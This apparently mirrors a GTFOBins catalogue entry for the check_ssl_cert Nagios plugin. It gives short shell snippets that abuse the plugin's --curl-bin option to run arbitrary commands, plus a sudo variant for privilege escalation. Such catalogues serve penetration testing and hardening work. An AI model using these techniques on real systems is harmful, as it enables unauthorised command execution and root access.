mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
27 lines
749 B
Markdown
27 lines
749 B
Markdown
---
|
|
description: |
|
|
This is the `check_ssl_cert` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
|
functions:
|
|
command:
|
|
- description: The host example.net must return a certificate via TLS
|
|
code: |
|
|
COMMAND=id
|
|
OUTPUT=output_file
|
|
TF=$(mktemp)
|
|
echo "$COMMAND | tee $OUTPUT" > $TF
|
|
chmod +x $TF
|
|
check_ssl_cert --curl-bin $TF -H example.net
|
|
cat $OUTPUT
|
|
sudo:
|
|
- description: The host example.net must return a certificate via TLS
|
|
code: |
|
|
COMMAND=id
|
|
OUTPUT=output_file
|
|
TF=$(mktemp)
|
|
echo "$COMMAND | tee $OUTPUT" > $TF
|
|
chmod +x $TF
|
|
umask 022
|
|
check_ssl_cert --curl-bin $TF -H example.net
|
|
cat $OUTPUT
|
|
---
|